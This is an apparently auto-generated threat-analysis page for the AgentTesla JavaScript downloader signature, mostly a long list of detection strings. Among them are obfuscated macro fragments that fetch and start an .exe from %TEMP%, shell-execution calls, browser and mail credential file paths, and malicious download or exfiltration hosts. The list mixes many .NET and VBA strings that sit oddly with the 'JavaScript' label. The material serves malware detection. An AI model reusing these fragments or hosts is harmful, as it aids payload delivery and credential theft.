TrojanDownloader:JS/AgentTesla!AMTB

user@threatcheck.sh ~ threat-analysis

bash

$ analyze-threat TrojanDownloader:JS/AgentTesla!AMTB

TrojanDownloader:JS/AgentTesla!AMTB - Windows Defender threat signature analysis

$ cat analysis.txt

=== THREAT ANALYSIS REPORT ===

Threat Name: TrojanDownloader:JS/AgentTesla!AMTB

Classification:

Type:TrojanDownloader

Platform:JS

Family:AgentTesla

Detection Type:Concrete

Known malware family with identified signatures

Suffix:!AMTB

Confidence:Very High

False-Positive Risk:Low

Concrete signature match: Trojan Downloader - Downloads additional malware for JavaScript platform, family AgentTesla

Summary:

This is a JavaScript-based Trojan Downloader for the AgentTesla info-stealer. It's designed to download and execute additional malicious payloads, utilizing legitimate system tools like installutil and WScript.Shell, alongside multiple advanced obfuscation techniques to evade detection and analysis. The threat communicates with suspicious external domains for command and control or data exfiltration.

Severity:

Critical

VDM Static Detection:

Relevant strings associated with this threat:
 - installutil /logtoconsole=false /logfile= /u " & Chrw(34) & "% (PEHSTR_EXT)
 - CreateObject("WScript.Shell").run strs,0,false (PEHSTR_EXT)
 - PermissionViewer.Properties.Resources.resources (PEHSTR_EXT)
 - HttpStatusCode (PEHSTR_EXT)
 - HttpWebResponse (PEHSTR_EXT)
 - Microsoft.VisualBasic.Devices (PEHSTR_EXT)
 - ShakeOfTheDay.Resources.resources (PEHSTR_EXT)
 - System.Data.SqlClient (PEHSTR_EXT)
 - Services.Protocols.SoapHttpClientProtocol (PEHSTR_EXT)
 - Users\VICTOR (PEHSTR_EXT)
 - fghytutgfnmdfg.My (PEHSTR)
 - POOYUGHYFUG.My (PEHSTR)
 - ConfuserEx v1.0.0 (PEHSTR)
 - ConfuserEx v1.0.0 (PEHSTR_EXT)
 - http://tlsprotectgo.xyz/EmE6d/Mddoryz_Vbilvvxs.jpg (PEHSTR_EXT)
 - \Debug\IELibrary.pdb (PEHSTR_EXT)
 - SecureTeam.Attributes.ObfuscatedByAgileDotNetAttribute (PEHSTR_EXT)
 - SmartAssembly.Attributes.PoweredByAttribute (PEHSTR_EXT)
 - SecureTeam.Attributes.ObfuscatedByCliSecureAttribute (PEHSTR_EXT)
 - Xenocode.Client.Attributes.AssemblyAttributes.ProcessedByXenocode (PEHSTR_EXT)
 - CryptoObfuscator.ProtectedWithCryptoObfuscatorAttribute (PEHSTR_EXT)
 - NineRays.Obfuscator.Evaluation (PEHSTR_EXT)
 - System.Security.Cryptography (PEHSTR_EXT)
 - System.Runtime.CompilerServices (PEHSTR_EXT)
 - DESCryptoServiceProvider (PEHSTR_EXT)
 - GetExecutingAssembly (PEHSTR_EXT)
 - CompilationRelaxationsAttribute (PEHSTR_EXT)
 - CompilerGeneratedAttribute (PEHSTR_EXT)
 - C:\Users\Admin\Desktop\IELibrary\IELibrary\obj\Debug\IELibrary.pdb (PEHSTR_EXT)
 - LoadDotNetPE.dll (PEHSTR_EXT)
 - System.Net (PEHSTR_EXT)
 - System.Security.Cryptography.AesCryptoServiceProvider (PEHSTR_EXT)
 - hOOWd989DTOHFEOtZr.dVHUYZkf5VVcnHC4cP (PEHSTR_EXT)
 - root\cimv2 (PEHSTR_EXT)
 - worlorderbillions.top (PEHSTR_EXT)
 - .vm_sec (PEHSTR_EXT)
 - .themida (PEHSTR_EXT)
 - /checkprotection (PEHSTR_EXT)
 - \Login Data (PEHSTR_EXT)
 - \Default\Login Data (PEHSTR_EXT)
 - \mail (PEHSTR_EXT)
 - \NETGATE Technologies\BlackHawk (PEHSTR_EXT)
 - Software\DownloadManager\Passwords\ (PEHSTR_EXT)
 - \Roaming\FlashFXP\3quick.dat (PEHSTR_EXT)
 - \Trillian\users\global\accounts.dat (PEHSTR_EXT)
 - Software\RimArts\B2\Settings (PEHSTR_EXT)
 - \Roaming\Postbox\profiles.ini (PEHSTR_EXT)
 - \%insfolder%\%insname% (PEHSTR_EXT)
 - cystum.Sucuryty.Sryp (PEHSTR)
 - ]source\repos\Windows Update Certifier\Windows Update Certifier\obj\Debug\Update Certifier.pdb (PEHSTR)
 - TransactionalFileManager.dll (PEHSTR_EXT)
 - plDropnF.exe (PEHSTR)
 - Network Adapters.dll (PEHSTR)
 - 2\ConfigurationFiles\obj\Debug\Network Adapters.pdb (PEHSTR)
 - Microsoft.VisualBasic.ApplicationServices (PEHSTR_EXT)
 - Phoenix.Resources.resources (PEHSTR_EXT)
 - BBMS.FormCustomerInfo.resources (PEHSTR_EXT)
 - BBMS.FormDonorInfo.resources (PEHSTR_EXT)
 - BBMS.FormDonorUpdate.resources (PEHSTR_EXT)
 - BBMS.FormLogin.resources (PEHSTR_EXT)
 - BBMS.FormMain.resources (PEHSTR_EXT)
 - BBMS.FormReportViewer.resources (PEHSTR_EXT)
 - BBMS.FormStockList.resources (PEHSTR_EXT)
 - BBMS.FormUserAccount.resources (PEHSTR_EXT)
 - BBMS.Resources.resources (PEHSTR_EXT)
 - BBMS.yyt1.resources (PEHSTR_EXT)
 - Combine (PEHSTR_EXT)
 - System.Drawing.Bitmap (PEHSTR)
 - $WebBrowserDocumentCompletedEventArgs (PEHSTR)
 - DESCryptoServiceProvider (PEHSTR)
 - BaiTapThietKeForm.Properties.Resources (PEHSTR_EXT)
 - System.Security.Cryptography (PEHSTR)
 - C:\Users\xxx\Desktop\IPFAJNYPROGRAM\Client\Client\obj\x86\Release\Client.pdb (PEHSTR_EXT)
 - set_UseShellExecute (PEHSTR_EXT)
 - Lerlibro_INC.My.Resources (PEHSTR_EXT)
 - bytesToDecompress (PEHSTR_EXT)
 - Mini_Game_Center.My (PEHSTR_EXT)
 - Mini_Game_Center.snake.resources (PEHSTR_EXT)
 - MathDrill_01.My (PEHSTR_EXT)
 - CurrentVersion\Explorer\Shell Folders (PEHSTR_EXT)
 - \AudioApp (PEHSTR_EXT)
 - /C rund (PEHSTR_EXT)
 - \Downloads\ (PEHSTR_EXT)
 - jazk.dll (PEHSTR_EXT)
 - ExecuteNonQuery (PEHSTR_EXT)
 - [poldata5].[DeleteExistingReminder] (PEHSTR_EXT)
 - poldata5.UpdateSnooze (PEHSTR_EXT)
 - /This p (PEHSTR_EXT)
 - .tsxt (PEHSTR_EXT)
 - .rsrq (PEHSTR_EXT)
 - Io.xy (PEHSTR_EXT)
 - DatabaseManager.A.resources (PEHSTR_EXT)
 - DatabaseManager.FrmMenu.resources (PEHSTR_EXT)
 - FolderSearcher.Form1.resources (PEHSTR_EXT)
 - System.Text (PEHSTR_EXT)
 - AthleticClubManagementSystem.Resources (PEHSTR_EXT)
 - RecordBgySystem.My.Resources (PEHSTR_EXT)
 - Secure.Messenger.WpfHost (PEHSTR)
 - ApartmanOto.pdb (PEHSTR_EXT)
 - IHMVB.My (PEHSTR)
 - CompareString (PEHSTR_EXT)
 - CompareMethod (PEHSTR_EXT)
 - BaiTapThietKeForm.frmBai1.resources (PEHSTR_EXT)
 - ComputeMatrix (PEHSTR_EXT)
 - Espionage_Sorter.My.Resources (PEHSTR_EXT)
 - SqlFormatter.Properties.Resources (PEHSTR_EXT)
 - MandelbrotExplorer.My.Resources (PEHSTR_EXT)
 - File_System_Controls.My.Resources (PEHSTR_EXT)
 - SharpDevelop Projects\Tyxif\Tyxif\obj\Debug\Tyxif.pdb (PEHSTR_EXT)
 - RangePartition.dll (PEHSTR_EXT)
 - Bunifu.UI.Bunifu_Button (PEHSTR_EXT)
 - SmartAssembly.Attributes (PEHSTR_EXT)
 - System.IO.Compression (PEHSTR_EXT)
 - Goriot.Controls (PEHSTR_EXT)
 - mscoree.dll (PEHSTR_EXT)
 - costura.costura.dll.compressed (PEHSTR_EXT)
 - ATMManager.Update.resources (PEHSTR_EXT)
 - CompareExchange (PEHSTR)
 - *DeltaEngine.Properties.Resources.resources (PEHSTR)
 - .Properties.Resources (PEHSTR_EXT)
 - ExpenseManager.Properties.Resources (PEHSTR_EXT)
 - rozenbayn.Form (PEHSTR_EXT)
 - .resources (PEHSTR_EXT)
 - projetor.Form (PEHSTR_EXT)
 - Form1.resources (PEHSTR_EXT)
 - Form2.resources (PEHSTR_EXT)
 - Form3.resources (PEHSTR_EXT)
 - Tetris.Desktop.GameOver (PEHSTR)
 - System.CodeDom.Compiler (PEHSTR_EXT)
 - ServiceHub.Host (PEHSTR_EXT)
 - 2.4.227.2020 (PEHSTR_EXT)
 - 2.4.227+e4076a6e7d.RR (PEHSTR_EXT)
 - Blit.exe (PEHSTR)
 - WERGHGHJHJF.pdb (PEHSTR_EXT)
 - FormSplashScreen (PEHSTR_EXT)
 - \Roaming\TReplaceokReplaceenReplaces.tReplacex (PEHSTR_EXT)
 - %appdata%\discord\ (PEHSTR_EXT)
 - 99.0.4832.0 (PEHSTR_EXT)
 - Aspiring_Rookie.Resources.resources (PEHSTR_EXT)
 - List_omdre.exe (PEHSTR_EXT)
 - Lime_AsyncClientSpoofer.exe (PEHSTR_EXT)
 - Lime_AsyncClientSpoofer.Consumers (PEHSTR_EXT)
 - bitclient1.exe (PEHSTR_EXT)
 - WindowsFormsApp76.Properties (PEHSTR_EXT)
 - Lime_async.Definitions (PEHSTR_EXT)
 - Lime_async.Specifications (PEHSTR_EXT)
 - Lime_Agent.exe (PEHSTR_EXT)
 - C:\xampp\htdocs\Cryptor\ (PEHSTR_EXT)
 - \Loader\Release\Loader.pdb (PEHSTR_EXT)
 - G*.eV (SNID)
 - System.ComponentModel (PEHSTR_EXT)
 - 24032.3018.0.1 (PEHSTR_EXT)
 - CompressionMode (PEHSTR_EXT)
 - ByMynix.xyz (PEHSTR_EXT)
 - LightWatch.My.Resources (PEHSTR_EXT)
 - Forge.Templating.My.Resources (PEHSTR_EXT)
 - CompilerProject (PEHSTR_EXT)
 - Decompress (PEHSTR_EXT)
 - PSQS.Properties.Resources.resources (PEHSTR_EXT)
 - 97.0.1.8082 (PEHSTR_EXT)
 - hilal.Properties.Resources (PEHSTR_EXT)
 - Reload.My.Resources (PEHSTR_EXT)
 - Reload.Reload.resources (PEHSTR_EXT)
 - file:/// (PEHSTR_EXT)
 - Owl.Core.My.Resources (PEHSTR_EXT)
 - ASManager2017.My.Resources (PEHSTR_EXT)
 - MNJKolK87.pdb (PEHSTR_EXT)
 - LCD.Properties (PEHSTR_EXT)
 - 54.65.13.91 (PEHSTR_EXT)
 - Application Data\server.txt (PEHSTR_EXT)
 - kaskdk.hissssa (MACROHSTR_EXT)
 - ko4d = "tp://%748237%728748@j.mp/" (MACROHSTR_EXT)
 - tranquvis.Properties.Resources.resources (PEHSTR_EXT)
 - p^i^N^g^.^e^X^E (MACROHSTR_EXT)
 - ^h^t^t^p^s^:^/^/^c^a^n^a^d^a^c^i^g^a^r^s^u^p^p^l^i^e^s^.^c^o^m^/^w^p^-^c^o^n^t^e^n^t^/^u^p^l^o^a^d^s^/^2^0^1^8^/^0^5^/^f^i^l^e^s^/^a^n^o^.^e^x^e (MACROHSTR_EXT)
 - %TEMP%^\^f^i^l^e^s^.^e^x^e (MACROHSTR_EXT)
 - s^t^a^r^t^   ^   ^   %TEMP%^\^f^i^l^e^s^.^e^x^e (MACROHSTR_EXT)
 - Application.Wait (Now + TimeValue("0:00:05")) (MACROHSTR_EXT)
 - AltiumManager.Resources.resources (PEHSTR_EXT)
 - AltiumManager.Platinium.resources (PEHSTR_EXT)
 - QuanLyDiemSV.Resources.resources (PEHSTR_EXT)
 - GraphicsUtility.Form1.resources (PEHSTR_EXT)
 - ClumsyProof.My.Resources (PEHSTR_EXT)
 - MeteorUiLib.My.Resources (PEHSTR_EXT)
 - MainWindow.Resources.resources (PEHSTR_EXT)
 - discordapp.com/attachments (PEHSTR_EXT)
 - qfa/ti_0ti_ (PEHSTR_EXT)
 - LamdaX.My.Resources (PEHSTR_EXT)
 - LamdaX.Hyatt.resources (PEHSTR_EXT)
 - IExpando.Plug (PEHSTR_EXT)
 - Foldz.My.Resources (PEHSTR_EXT)
 - MonopolySim.My.Resources (PEHSTR_EXT)
 - CheckingAccount.My.Resources (PEHSTR_EXT)
 - QLGR_GUI.My.Resources (PEHSTR_EXT)
 - Windowssettings.Settings.resources (PEHSTR_EXT)
 - BasicClassValidation.My.Resources (PEHSTR_EXT)
 - MinesweeperAdvance.My.Resources (PEHSTR_EXT)
 - FootballTeams.My.Resources (PEHSTR_EXT)
 - MDIWindowManager.My.Resources (PEHSTR_EXT)
 - Patch.My.Resources (PEHSTR_EXT)
 - test404.My.Resources (PEHSTR_EXT)
 - LibraryManagementSystem.My.Resources (PEHSTR_EXT)
 - FormEditor.My.Resources (PEHSTR_EXT)
 - SoccerStatsForAllProject.My.Resources (PEHSTR_EXT)
 - .g.resources (PEHSTR_EXT)
 - c:\sri\Message.txt (PEHSTR_EXT)
 - PTM.MainForm.resources (PEHSTR_EXT)
 - PTM.OPIC.resources (PEHSTR_EXT)
 - JoooO.STUB.OoooJ.My.Resources (PEHSTR_EXT)
 - UI.My.Resources (PEHSTR_EXT)
 - Timeseries.My.Resources (PEHSTR_EXT)
 - GoWEditor.My.Resources (PEHSTR_EXT)
 - "tp://1230912489%1230192309@j.mp/" (MACROHSTR_EXT)
 - "tp://1230948%1230948@j.mp/" (MACROHSTR_EXT)
 - "23bbsdajs821" (MACROHSTR_EXT)
 - =opera.x+opera.y+textfileforyou.z+textfileforyou.d+hi.openmarket+hi.xxx+hi.k+hi.t (MACROHSTR_EXT)
 - textfilestuff.mosuf.tagendfunction (MACROHSTR_EXT)
 - PersonnelTracking.Properties.Resources.resources (PEHSTR_EXT)
 - LibInUse.My.Resources (PEHSTR_EXT)
 - Software.My.Resources (PEHSTR_EXT)
 - FileCopier.Properties.Resources (PEHSTR_EXT)
 - CriticalAttribute.Resources.resources (PEHSTR_EXT)
 - MultiToken.Resources (PEHSTR_EXT)
 - q9gcjs5cdzu8afy5yun73g7sbu286um (PEHSTR_EXT)
 - BookstoreManagement.GUI.My.Resources (PEHSTR_EXT)
 - //transfer.sh (PEHSTR_EXT)
 - AMS.My (PEHSTR_EXT)
 - AMS.Add_Course_Teacher_Student.resources (PEHSTR_EXT)
 - AMS.AddUserFrm.resources (PEHSTR_EXT)
 - AMS.AnsiCharMarshaler.resources (PEHSTR_EXT)
 - AMS.Course_Registration.resources (PEHSTR_EXT)
 - AMS.GPA_Academic_History_Look_Up.resources (PEHSTR_EXT)
 - AMS.LogIn.resources (PEHSTR_EXT)
 - AMS.Main_Menu.resources (PEHSTR_EXT)
 - AMS.Resources.resources (PEHSTR_EXT)
 - PaCman.AboutBox1.resources (PEHSTR_EXT)
 - PaCman.Controller_MainForm.resources (PEHSTR_EXT)
 - PaCman.Properties.Resources.resources (PEHSTR_EXT)
 - PaCman.View.resources (PEHSTR_EXT)
 - Factor.Factor.resources (PEHSTR_EXT)
 - ArrangePicture.Form1.resources (PEHSTR_EXT)
 - ITokenReader.frmITokenReader.resources (PEHSTR_EXT)
 - ITokenReader.frmDestino.resources (PEHSTR_EXT)
 - ITokenReader.frmPessoa.resources (PEHSTR_EXT)
 - ITokenReader.frmPrincipal.resources (PEHSTR_EXT)
 - ITokenReader.frmSobre.resources (PEHSTR_EXT)
 - ITokenReader.frmTramitando.resources (PEHSTR_EXT)
 - VehicleManager.ListView.resources (PEHSTR_EXT)
 - VehicleManager.MainForm.resources (PEHSTR_EXT)
 - ITokenReader.Properties.Resources.resources (PEHSTR_EXT)
 - ITokenReader.Resources.resources (PEHSTR_EXT)
 - VehicleManager.TypeControl.resources (PEHSTR_EXT)
 - SYSTEM_BNHS.vb.Block64.resources (PEHSTR_EXT)
 - BNHSCommand (PEHSTR_EXT)
 - ISO2022Modes.Search.resources (PEHSTR_EXT)
 - ISO2022Modes.crystal.resources (PEHSTR_EXT)
 - ISO2022Modes.Kin.resources (PEHSTR_EXT)
 - ISO2022Modes.frmMain.resources (PEHSTR_EXT)
 - ISO2022Modes.AddInfo.resources (PEHSTR_EXT)
 - ISO2022Modes.UpdateInfo.resources (PEHSTR_EXT)
 - ISO2022Modes.Deleteinfo.resources (PEHSTR_EXT)
 - ISO2022Modes.Properties.Resources.resources (PEHSTR_EXT)
 - ISO2022Modes.product.resources (PEHSTR_EXT)
 - ISO2022Modes.view.resources (PEHSTR_EXT)
 - rkQuAtdP2v2DC8XaJSe (PEHSTR_EXT)
 - SchoolManagementSystem.Properties (PEHSTR_EXT)
 - SoapName.dll (PEHSTR_EXT)
 - SoapName.My.Resources (PEHSTR_EXT)
 - aR3nbf8dQp2feLmk31.lSfgApatkdxsVcGcrktoFd.resources (PEHSTR_EXT)
 - CrazyTetris.Form1.resources (PEHSTR_EXT)
 - CrazyTetris.frmLevel2.resources (PEHSTR_EXT)
 - CrazyTetris.frmLevel3.resources (PEHSTR_EXT)
 - CrazyTetris.frmLevel4.resources (PEHSTR_EXT)
 - CrazyTetris.frmLevel5CHIMNEY.resources (PEHSTR_EXT)
 - CrazyTetris.frmLevelSelect.resources (PEHSTR_EXT)
 - CrazyTetris.frmMainMenu.resources (PEHSTR_EXT)
 - CrazyTetris.frmSettings.resources (PEHSTR_EXT)
 - CrazyTetris.GameForm.resources (PEHSTR_EXT)
 - CrazyTetris.HighScoreForm.resources (PEHSTR_EXT)
 - CrazyTetris.MainMenu.resources (PEHSTR_EXT)
 - CrazyTetris.Resources.resources (PEHSTR_EXT)
 - CrazyTetris.SplashScreen.resources (PEHSTR_EXT)
 - \resources\Images\tut.png (PEHSTR_EXT)
 - TankGame.StartUp.resources (PEHSTR_EXT)
 - TankGame.Resources.resources (PEHSTR_EXT)
 - TankGame.MultipleBlocks.resources (PEHSTR_EXT)
 - TankGame.QuickStart.resources (PEHSTR_EXT)
 - IEnumSTORECATEGORYINSTA.exe (PEHSTR_EXT)
 - get_IsCompleted (PEHSTR_EXT)
 - RecordBgySystem.Res_delete.resources (PEHSTR_EXT)
 - public.class.Main.HelloWorld.module13 (PEHSTR_EXT)
 - MKMNnN988.Properties.Resources.resources (PEHSTR_EXT)
 - Chuang.Printer.ClientUninstall (PEHSTR_EXT)
 - Delo2Mail.My.Resources (PEHSTR_EXT)
 - Delo2Mail.Baidu (PEHSTR_EXT)
 - ShellExecute (PEHSTR_EXT)
 - kernel32.dll (PEHSTR_EXT)
 - HotelMgmtSystem.Booking.resources (PEHSTR_EXT)
 - HotelMgmtSystem.loginForm.resources (PEHSTR_EXT)
 - HotelMgmtSystem.Properties.Resources.resources (PEHSTR_EXT)
 - System.Drawing.Bitmap (PEHSTR_EXT)
 - ComponentResourceManager (PEHSTR_EXT)
 - KMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator (PEHSTR_EXT)
 - My.Settings (PEHSTR_EXT)
 - Dispose__Instance__ My.MyWpfExtenstionModule.Windows (PEHSTR_EXT)
 - FionnCharacterSheet.Welcome.resources (PEHSTR_EXT)
 - FionnCharacterSheet.LCDEmulatorFrm.resources (PEHSTR_EXT)
 - FionnCharacterSheet.Resources.resources (PEHSTR_EXT)
 - FionnCharacterSheet.SkillsFocuses.resources (PEHSTR_EXT)
 - FionnCharacterSheet.MultipleBlocks.resources (PEHSTR_EXT)
 - http://DATABASE AQUI/ddos.txt (PEHSTR_EXT)
 - http://DATABASE AQUI/geoip.txt (PEHSTR_EXT)
 - http://DATABASE AQUI/sniffer.txt (PEHSTR_EXT)
 - http://DATABASE AQUI/database.txt (PEHSTR_EXT)
 - http://DATABASE AQUI/chat.txt (PEHSTR_EXT)
 - http://DATABASE AQUI/project.txt (PEHSTR_EXT)
 - HTTPService.exe (PEHSTR_EXT)
 - cmd /c taskkill /f /t /im files\s-irecovery.exe (PEHSTR_EXT)
 - http://ih8sn0w.com (PEHSTR_EXT)
 - \files\llb.3gs.dfu (PEHSTR_EXT)
 - iBooty.Resources.resources (PEHSTR_EXT)
 - ms2mz.KeyWriter.resources (PEHSTR_EXT)
 - get_UseCompatibleTextRendering (PEHSTR_EXT)
 - broke_mobile.My.Resources (PEHSTR_EXT)
 - set_UpdateCommand (PEHSTR_EXT)
 - LoginScreen_Load (PEHSTR_EXT)
 - CommitUrlCacheEntryW (PEHSTR_EXT)
 - get_ExecutablePath (PEHSTR_EXT)
 - get_net_http_content_buffersize_exceeded (PEHSTR_EXT)
 - get_net_http_client_send_completed (PEHSTR_EXT)
 - get_net_http_operation_started (PEHSTR_EXT)
 - Lerlibro_INC.Se1.resources (PEHSTR_EXT)
 - Lerlibro_INC.fnt1.resources (PEHSTR_EXT)
 - Lerlibro_INC.frmHRPanel.resources (PEHSTR_EXT)
 - Lerlibro_INC.frmMISPanel.resources (PEHSTR_EXT)
 - Lerlibro_INC.frmAccountingPanel.resources (PEHSTR_EXT)
 - Lerlibro_INC.frmSalesPanel.resources (PEHSTR_EXT)
 - Lerlibro_INC.frmMain.resources (PEHSTR_EXT)
 - Lerlibro_INC.Resources.resources (PEHSTR_EXT)
 - Lerlibro_INC.ucUsers.resources (PEHSTR_EXT)
 - Lerlibro_INC.Baidu.resources (PEHSTR_EXT)
 - 5.172.39.25/browser.php (PEHSTR_EXT)
 - https://ostoja.tk/browser.php (PEHSTR_EXT)
 - TOJA_Browser.Properties.Resources (PEHSTR_EXT)
 - InvokeMethod.InvokeMethod (PEHSTR_EXT)
 - TripleDESCryptoServiceProvider (PEHSTR_EXT)
 - CMS.Resources.resources (PEHSTR_EXT)
 - CMS.Hett.resources (PEHSTR_EXT)
 - LibraryManagementSystem.Resources.resources (PEHSTR_EXT)
 - Studioborne.Resources (PEHSTR_EXT)
 - ITypeComp (PEHSTR_EXT)
 - Destinationd.Resources.resources (PEHSTR_EXT)
 - Destinationd.Underlying.resources (PEHSTR_EXT)
 - BestFitMappingAttribute.EnumeratorSimple (PEHSTR_EXT)
 - Tienda.Resources (PEHSTR_EXT)
 - Tienda.Util (PEHSTR_EXT)
 - Tienda.Util.resources (PEHSTR_EXT)
 - PTSoft_MailServer.Officer (PEHSTR_EXT)
 - PTSoft_MailServer.Resources (PEHSTR_EXT)
 - security.cer (PEHSTR_EXT)
 - message.txt (PEHSTR_EXT)
 - ocrvb.SDP (PEHSTR_EXT)
 - ocrvb.Resources (PEHSTR_EXT)
 - .edom SOD ni nur eb tonnac margorp sihT! (PEHSTR_EXT)
 - CartoonersFileViewerProgram.Se1 (PEHSTR_EXT)
 - Cartoons.exe (PEHSTR_EXT)
 - CartoonersFileViewerProgram.Resources (PEHSTR_EXT)
 - cstoon.smb (PEHSTR_EXT)
 - AthleticClubManagementSystem.SplashScreen1.resources (PEHSTR_EXT)
 - BMS1.Resources (PEHSTR_EXT)
 - BMS1.Sheet1 (PEHSTR_EXT)
 - http://www.tempuri.org/DataSet1.xsd (PEHSTR_EXT)
 - SqlCommand (PEHSTR_EXT)
 - ExecuteReader (PEHSTR_EXT)
 - Lion_Match_Employee_Management_System.HBT (PEHSTR_EXT)
 - Lion_Match_Employee_Management_System.Resources (PEHSTR_EXT)
 - Stub62.Resources (PEHSTR_EXT)
 - Praneethmadush@gmail.com (PEHSTR_EXT)
 - Sales_Dashboard.Resources.resource (PEHSTR_EXT)
 - LibraryItems.Properties.Resources.resource (PEHSTR_EXT)
 - Medical_.Stock10.resources (PEHSTR_EXT)
 - Medical_.Expiry11.resources (PEHSTR_EXT)
 - PickerHost.g.resources (PEHSTR_EXT)
 - Pizza_App_User.Resources.resources (PEHSTR_EXT)
 - SE_GUI.Resources (PEHSTR_EXT)
 - SE_GUI.AdminPage.resources (PEHSTR_EXT)
 - RequestBtn.Iconimage (PEHSTR_EXT)
 - PuppetMaster.Ward.resources (PEHSTR_EXT)
 - tcp://localhost: (PEHSTR_EXT)
 - SignatureDeformatter.IPermission (PEHSTR_EXT)
 - Data Source=(localdb)\MSSQLLocalDB;Initial Catalog=mdmsDB;Integrated Security=True;Pooling=False (PEHSTR_EXT)
 - WinClient.frmlogin.resources (PEHSTR_EXT)
 - Network_Printer.txt (PEHSTR_EXT)
 - set_SelectCommand (PEHSTR_EXT)
 - MHMS.Form1.resources (PEHSTR_EXT)
 - MHMS.frmSystemInfo.resources (PEHSTR_EXT)
 - Medical_Laboratory.Result_1.resources (PEHSTR_EXT)
 - ComputeHash (PEHSTR_EXT)
 - DnEaz.Properties (PEHSTR_EXT)
 - GetScriptBlock (PEHSTR_EXT)
 - TicTacToe.TicTacToe.resources (PEHSTR_EXT)
 - TicTacToe.My.Resources (PEHSTR_EXT)
 - TicTacToe.frmIntro.resources (PEHSTR_EXT)
 - cmdHard_Click (PEHSTR_EXT)
 - cmdGet1And8And16_Click (PEHSTR_EXT)
 - VB_blackjack.Base_Table.resources (PEHSTR_EXT)
 - System.Runtime.Versioning (PEHSTR_EXT)
 - .online/base/ (PEHSTR_EXT)
 - get_spdrwgui_exe (PEHSTR_EXT)
 - 2.22.11.11 (PEHSTR_EXT)
 - shutdowntimer.Properties.Resources (PEHSTR_EXT)
 - CrackerBarrelGame.Resources (PEHSTR_EXT)
 - SecurityContextRunData.Resources (PEHSTR_EXT)
 - Softworks_Rhino.Resources (PEHSTR_EXT)
 - EasyScreenshotCapture.Form1.resources (PEHSTR_EXT)
 - StestWinForm.Properties.Resources (PEHSTR_EXT)
 - Painter.Properties.Resources (PEHSTR_EXT)
 - SafeRegistryHandle.IPermission (PEHSTR_EXT)
 - EraseExpressionFromHistoryScreen (PEHSTR_EXT)
 - JustExecuted (PEHSTR_EXT)
 - Debug.Assert (VBA.Shell(manpower3)) (MACROHSTR_EXT)
 - man2 = icecream1.jack1.Tag (MACROHSTR_EXT)
 - Shell k.myvalue + k.myvalue2 (MACROHSTR_EXT)
 - t" + "t" + "p" + ":" + "/" + "/" + "w" + "w" + "w" + ".j.mp/asdaksdjqwoddaskdajk (MACROHSTR_EXT)
 - = " H" + D + D + L + "://" + K + T (MACROHSTR_EXT)
 - GetObject("new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B").EXEC pings (MACROHSTR_EXT)
 - cdn.discordapp.com/attachments/ (PEHSTR_EXT)
 - Khdjvwjdtqrymmqbudp.Zsnmdviewswsfojks (PEHSTR_EXT)
 - Fzzyhjlxmatragttprvjqyx.Lnydjnlnrdgnolnao (PEHSTR_EXT)
 - Reqwgdalckljtvgwjtjwexax.Aamtvsxqeb (PEHSTR_EXT)
 - Toairbnwmoksarjexj.Vfiozsrttxhfjelvfpiwltx (PEHSTR_EXT)
 - TweenEngineAPI.dll (PEHSTR_EXT)
 - WeatherObserver.Properties.Resources.resource (PEHSTR_EXT)
 - MediaCommands (PEHSTR_EXT)
 - Computer (PEHSTR_EXT)
 - Finance.Framework.Types.Properties (PEHSTR_EXT)
 - EqualityComparer (PEHSTR_EXT)
 - AmayaHotel.Resources (PEHSTR_EXT)
 - AmayaSplashScreen (PEHSTR_EXT)
 - GetCommandLineArgs (PEHSTR_EXT)
 - SimpleGameLib.WordJumblePro.resources (PEHSTR_EXT)
 - ndtia_Live_Server.FormLoader (PEHSTR_EXT)
 - ndtia_Live_Server.My (PEHSTR_EXT)
 - Text_Editer.Properties.Resources (PEHSTR_EXT)
 - PhotoEditor.Properties.Resources (PEHSTR_EXT)
 - TextEditer.Properties.Resources.resources (PEHSTR_EXT)
 - FunkeySelector.Properties.Resources.resources (PEHSTR_EXT)
 - FunnyTrader.Properties.Resources (PEHSTR_EXT)
 - SyntecADUserEditor.Resources (PEHSTR_EXT)
 - Bloc.My.Resources (PEHSTR_EXT)
 - geir.My (PEHSTR_EXT)
 - KeyedCollection.Inner.resources (PEHSTR_EXT)
 - LOLLanguageSelector.UI.Properties.Resources (PEHSTR_EXT)
 - ValueFixup.My.Resources (PEHSTR_EXT)
 - mehrzady@gmail.com (PEHSTR_EXT)
 - Devolepors@gmal.com (PEHSTR_EXT)
 - mickey.Resources.resources (PEHSTR_EXT)
 - VisorView.Properties.Resources (PEHSTR_EXT)
 - RegisterVB.My.Resources (PEHSTR_EXT)
 - William_Golding.My.Resources (PEHSTR_EXT)
 - MentQ.Properties.Resources (PEHSTR_EXT)
 - TitleEditor.TitleList.resources (PEHSTR_EXT)
 - ITP_RMSS.Properties.Resources (PEHSTR_EXT)
 - LoaderCodeSelector.Properties.Resources.resources (PEHSTR_EXT)
 - DarkUI.Properties.Resources (PEHSTR_EXT)
 - WpfApp1.My.Resources (PEHSTR_EXT)
 - encrption.My.Resources (PEHSTR_EXT)
 - ZenDirect.My.Resources (PEHSTR_EXT)
 - PunismentSystemApp.Properties.Resources (PEHSTR_EXT)
 - Ridgeway_Cover_Manager.Resources.resources (PEHSTR_EXT)
 - BitConverter.My.Resources (PEHSTR_EXT)
 - belongiar.Properties.Resources (PEHSTR_EXT)
 - $safeprojectname$.Resources (PEHSTR_EXT)
 - SKS.Resources.resources (PEHSTR_EXT)
 - kredit_hp.My.Resources (PEHSTR_EXT)
 - FormsClasses.Properties.Resources (PEHSTR_EXT)
 - DskExplorer.My.Resources (PEHSTR_EXT)
 - nTarlasi.Form1.resources (PEHSTR_EXT)
 - ClockLogic.Main.resources (PEHSTR_EXT)
 - MemberManagerLite.Resources.resources (PEHSTR_EXT)
 - CasinoGame.Resources.resources (PEHSTR_EXT)
 - DskExplorer.Etcher.resources (PEHSTR_EXT)
 - execution_param (PEHSTR_EXT)
 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\thedevilcoder.exe (PEHSTR_EXT)
 - c:\Users\VICTOR\source\repos\DSGSGDSDSDLKJSDJK\DSGSGDSDSDLKJSDJK\obj\Debug\DSGSGDSDSDLKJSDJK.pdb (PEHSTR_EXT)
 - https:##tepidness-tuesdays.000webhostapp.com#ta.exe (PEHSTR_EXT)
 - WinFormServer.Properties.Resources.resources (PEHSTR_EXT)
 - Coursework.About_Program.resources (PEHSTR_EXT)
 - Coursework.frmGiris.resources (PEHSTR_EXT)
 - job.Properties.Resources (PEHSTR_EXT)
